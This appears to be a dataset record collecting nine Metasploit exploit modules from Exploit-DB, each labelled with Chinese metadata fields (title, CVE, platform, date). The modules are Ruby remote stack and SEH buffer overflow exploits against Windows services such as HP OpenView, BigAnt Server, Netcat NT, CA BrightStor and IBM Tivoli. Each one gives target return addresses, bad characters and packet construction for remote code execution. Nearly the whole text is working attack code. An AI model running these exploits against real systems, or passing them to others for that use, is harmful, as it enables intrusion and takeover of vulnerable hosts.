QLWD/code_shield huggingface dataset:
标题: eIQNetworks ESA - Topology DELETEDEVICE Overflow (Metasploit) EDB-ID: 16438 CVE: 2006-3838 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: eiqnetworks_esa_topology.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'eIQNetworks ESA Topology DELETEDEVICE Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in eIQnetworks
    Enterprise Security Analyzer. During the processing of
    long arguments to the DELETEDEVICE command in the Topology
    server, a stack-based buffer overflow occurs.

    This module has only been tested against ESA v2.1.13.
   },
   'Author'         => 'MC',
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2006-3838'],
     ['OSVDB', '27528'],
     ['BID', '19164'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 250,
     'BadChars' => "\x00\x0a\x0d\x20",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
     [ 'Windows XP SP2 English',   { 'Ret' => 0x77d57447 } ],
     [ 'Windows 2003 SP1 English', { 'Ret' => 0x773b24da } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jul 25 2006'
   ))

  register_options(
   [
    Opt::RPORT(10628)
   ], self.class)
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  filler  =  rand_text_alphanumeric(128) + [target.ret].pack('V') + make_nops(20)

  sploit  =  "DELETEDEVICE&" + filler + payload.encoded

  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16438
标题: HP OpenView - Operations OVTrace Buffer Overflow (Metasploit) EDB-ID: 16429 CVE: 2007-3872 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: hp_ovtrace.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP OpenView Operations OVTrace Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HP OpenView Operations version A.07.50.
    By sending a specially crafted packet, a remote attacker may be able to execute arbitrary code.
   },
   'Author'         => 'MC',
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     [ 'CVE', '2007-3872' ],
     [ 'OSVDB', '39527' ],
     [ 'BID', '25255' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x0a\x0d\x00",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Advanced Server All English',     { 'Ret' => 0x75022ac4 } ],
    ],
   'Privileged'     => true,
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 9 2007'))

  register_options([Opt::RPORT(5051)], self.class)
 end

 def exploit
  connect

  sploit =  "\x0f\x00\x00\x06\x00" + rand_text_english(62)
  sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
  sploit << [target.ret].pack('V') + payload.encoded
  sploit << rand_text_english(2024)

  print_status("Trying target #{target.name}...")
  sock.put(sploit)

  select(nil,nil,nil,3) # =(

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16429
标题: Netcat 1.10 - NT Stack Buffer Overflow (Metasploit) EDB-ID: 16436 CVE: 2004-1317 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: netcat110_nt.rb 9587 2010-06-22 23:57:05Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Netcat v1.10 NT Stack Buffer Overflow',
   'Description' => %q{
     This module exploits a stack buffer overflow in Netcat v1.10 NT. By sending
     an overly long string we are able to overwrite SEH. The vulnerability
     exists when netcat is used to bind (-e) an executable to a port in doexec.c.
     This module tested successfully using "c:\>nc -L -p 31337 -e ftp".
    },
   'Author'       => 'patrick',
   'Arch'   => [ ARCH_X86 ],
   'License'  => MSF_LICENSE,
   'Version'  => '$Revision: 9587 $',
   'References' =>
    [
     [ 'CVE', '2004-1317' ],
     [ 'OSVDB', '12612' ],
     [ 'BID', '12106' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/726' ],
    ],
   'Privileged'  => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'  =>
    {
     'Space'    => 236,
     'BadChars'   => "\x00\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform' => ['win'],
   'Targets'  =>
    [
     # Patrick - Tested OK 2007/09/26 w2ksp0, w2ksp4, xpsp2 en.
     [ 'Universal nc.exe', { 'Ret' => 0x0040a6ce } ], # p/p/r nc.exe
    ],
   'DisclosureDate' => 'Dec 27 2004',
   'DefaultTarget' => 0))
 end

 def autofilter
  false
 end

 def exploit
  connect

  sploit = rand_text(277, payload_badchars)
  sploit[0, payload.encoded.length] = payload.encoded
  sploit[236, 2] = Rex::Arch::X86.jmp_short(6)
  sploit[240, 4] = [target['Ret']].pack('V')
  sploit[244, 5] = Rex::Arch::X86.jmp(0xffffff08)

  sock.put(sploit)

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16436
标题: BigAnt Server 2.50 SP1 - Remote Buffer Overflow (Metasploit) EDB-ID: 16431 CVE: 2008-1914 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: bigant_server_250.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BigAnt Server 2.50 SP1 Buffer Overflow',
   'Description'    => %q{
    This exploits a stack buffer overflow in the BigAnt Messaging Service,
    part of the BigAnt Server product suite. This module was tested
    successfully against version 2.50 SP1.
   },
   'Author'   => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     # It's not clear if these are correct - there was a fix for
     # the v2.2 vuln back in Dec 2008
     [ 'CVE', '2008-1914'],
     [ 'OSVDB', '44454'],
     [ 'URL', 'http://www.exploit-db.com/exploits/9673' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/9690' ]
     #[ 'B_ID', '28795' ],
     #[ 'U_RL', 'http://www.milw0rm.com/exploits/5451'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 710,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'  =>  'True',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'BigAnt 2.5 Universal',  { 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & patrickw) p/p/r VBAJET32.dll xpsp3 & w2k
     [ 'Windows 2000 Pro All English',    { 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (patrickw 20090918)
     [ 'Windows XP Pro SP0/SP1 English',  { 'Ret' => 0x71aa32ad } ], # Should Work
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Apr 15 2008'))

  register_options([Opt::RPORT(6660)], self.class)
 end

 def exploit
  connect

  sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)
  sploit << rand_text_alpha_upper(1000 - payload.encoded.length)

  print_status("Trying target #{target.name}...")
  sock.put(sploit + "\r\n\r\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16431
标题: BomberClone 0.11.6 - Remote Buffer Overflow (Metasploit) EDB-ID: 16433 CVE: 2006-0460 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: bomberclone_overflow.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Bomberclone 0.11.6 Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.
    The return address is overwritten with lstrcpyA memory address,
    the second and third value are the destination buffer,
    the fourth value is the source address of our buffer in the stack.
    This exploit is like a return in libc.

    ATTENTION
    The shellcode is exec ONLY when someone try to close bomberclone.
   },
   'Author'         => 'Jacopo Cervini <acaro[at]jervus.it>',
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     ['CVE', '2006-0460'],
     ['OSVDB', '23263'],
     ['BID', '16697'],
     ['URL', 'http://www.frsirt.com/english/advisories/2006/0643' ],
    ],
   'Payload'        =>
    {
     'Space'    => 344,
     'BadChars' => "\x00"
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows XP SP2 Italian',   { 'Ret' => 0x7c80c729, } ], # kernel32!lstrcpyA
     ['Windows 2000 SP1 English', { 'Ret' => 0x77e85f08, } ], # kernel32!lstrcpyA
     ['Windows 2000 SP1 English', { 'Ret' => 0x77e95e8b, } ], # kernel32!lstrcpyA
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 16 2006'
   ))

  register_options([ Opt::RPORT(11000) ], self.class)
 end

 def exploit
  connect_udp

  pattern  = make_nops(421)
  pattern << payload.encoded
  pattern << [ target.ret ].pack('V')
  pattern << "\x04\xec\xfd\x7f" * 2
  pattern << "\xa4\xfa\x22\x00"

  request  = "\x00\x00\x00\x00\x38\x03\x41" + pattern + "\r\n"

  print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...")

  udp_sock.put(request)
  udp_sock.get

  handler(udp_sock)
  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/16433
标题: Microsoft Windows RSH daemon - Remote Buffer Overflow (Metasploit) EDB-ID: 16427 CVE: 2007-4006 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: windows_rsh.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Windows RSH daemon Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerabliltiy in Windows RSH daemon 1.8.
    The vulnerability is due to a failure to check for the length of input sent
    to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit
    to be successful.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
      ['CVE', '2007-4006'],
      ['OSVDB', '38572'],
      ['BID', '25044'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 850,
     'BadChars' => "\x00",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
      [ 'Windows 2003 SP1 English',         { 'Ret' => 0x77409dbb } ],
      [ 'Windows XP Pro SP2 English',       { 'Ret' => 0x7e497c7b } ],
      [ 'Windows 2000 Pro SP4 English',     { 'Ret' => 0x77f81be3 } ],
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Jul 24 2007',
   'DefaultTarget' => 0))

  register_options([Opt::RPORT(514)], self.class)
 end

 def exploit
  connect

  sploit =  (("\x00" + rand_text_english(1)) * 2) + "\x00"
  sploit << rand_text_english(1024) + [target.ret].pack('V')
  sploit << payload.encoded

  print_status("Trying target #{target.name}...")

  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16427
标题: BigAnt Server 2.2 - Remote Buffer Overflow (Metasploit) EDB-ID: 16430 CVE: 2008-1914 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: bigant_server.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BigAnt Server 2.2 Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in BigAnt Server 2.2.
    By sending a specially crafted packet, an attacker may be
    able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-1914' ],
     [ 'OSVDB', '44454' ],
     [ 'BID', '28795' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'  =>  'True',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro All English',   { 'Ret' => 0x75022ac4 } ],
     [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Apr 15 2008'))

  register_options([Opt::RPORT(6080)], self.class)
 end

 def exploit
  connect

  sploit =  "GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret)
  sploit << rand_text_alpha_upper(1024 - payload.encoded.length)

  print_status("Trying target #{target.name}...")
  sock.put(sploit + "\n\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16430
标题: CA BrightStor ARCserve for Laptops & Desktops LGServer - Multiple Commands Buffer Overflows (Metasploit) EDB-ID: 16416 CVE: 2007-3216 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-04 漏洞利用脚本: ##
# $Id: lgserver_multi.rb 10909 2010-11-04 23:59:56Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
    for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,
    an attacker could overflow the buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10909 $',
   'References'     =>
    [
     [ 'CVE', '2007-3216' ],
     [ 'OSVDB', '35329' ],
     [ 'BID', '24348' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ],
    ],
   'DisclosureDate' => 'Jun 6 2007',
   'DefaultTarget' => 0))

  register_options([ Opt::RPORT(1900) ], self.class)
 end

 def check

  connect

  sock.put("0000000019rxrGetServerVersion")
  ver = sock.get_once

  disconnect

  if ( ver =~ /11.1.742/ )
    return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe

 end

 def exploit

  connect

  rpc_commands = [
    "rxsAddNewUser",
    "rxsSetUserInfo",
    "rxsRenameUser",
    "rxsExportData",
    "rxcReadSaveSetProfile",
    "rxcInitSaveSetProfile",
    "rxcAddSaveSetNextAppList",
    "rxcAddSaveSetNextFilesPathList"
   ]

  rpc_command = rpc_commands[rand(rpc_commands.length)]

  data = rand_text_alpha_upper(62768)

  data[58468,8] = generate_seh_record(target.ret)
  data[58476,payload.encoded.length] = payload.encoded

  sploit  = "0000062768"    # Command Length Field
  sploit << rpc_command    # RPC Command
  sploit << "~~"     # Constant Argument Delimiter
  sploit << data

  print_status("Trying target #{target.name} with command '#{rpc_command}'...")
  sock.put(sploit)

  handler
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/16416
标题: IBM Tivoli Storage Manager Express CAD Service - Remote Buffer Overflow (Metasploit) (1) EDB-ID: 16421 CVE: 2009-3853 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: ibm_tsm_cad_ping.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'IBM Tivoli Storage Manager Express CAD Service Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express CAD Service.
    By sending a "ping" packet containing a long string, an attacker can execute arbitrary code.

    NOTE: the dsmcad.exe service must be in a particular state (CadWaitingStatus = 1) in order
    for the vulnerable code to be reached. This state doesn't appear to be reachable when the
    TSM server is not running. This service does not restart.
   },
   'Author'         => [ 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2009-3853' ],
     [ 'OSVDB', '59632' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 380, # offset to seh is 384
     'BadChars' => '', # none!
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # this target should be pretty universal..
     # dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date..
     [ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 04 2009'))

  register_options( [ Opt::RPORT(1582) ], self.class )
 end

 def exploit

  print_status("Trying target %s..." % target.name)

  # wchar_t buf[64];

  #print_status("Generating sploit data...")
  distance = payload_space + 8
  backjmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
  copy_len = distance + backjmp.length + (1024*3)

  sploit = [0,copy_len].pack('n*')
  sploit << payload.encoded
  sploit << generate_seh_record(target.ret)
  sploit << backjmp
  # force hitting end of the stack
  sploit << rand_text(1024) * 3

  data = [sploit.length,0x26,0xa5].pack('nCC')
  data << sploit

  got_it = false
  while not got_it
   connect
   print_status("Sending nasty ping request...")
   sock.put(data)

   begin
    buf = sock.get_once(-1, 5)
   rescue
    print_status("Hrm, the service is probably in the wrong state, stand by...")
    disconnect
    select(nil, nil, nil, 5)
    next
   end
   got_it = true
  end

  print_status("Starting handler...")
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16421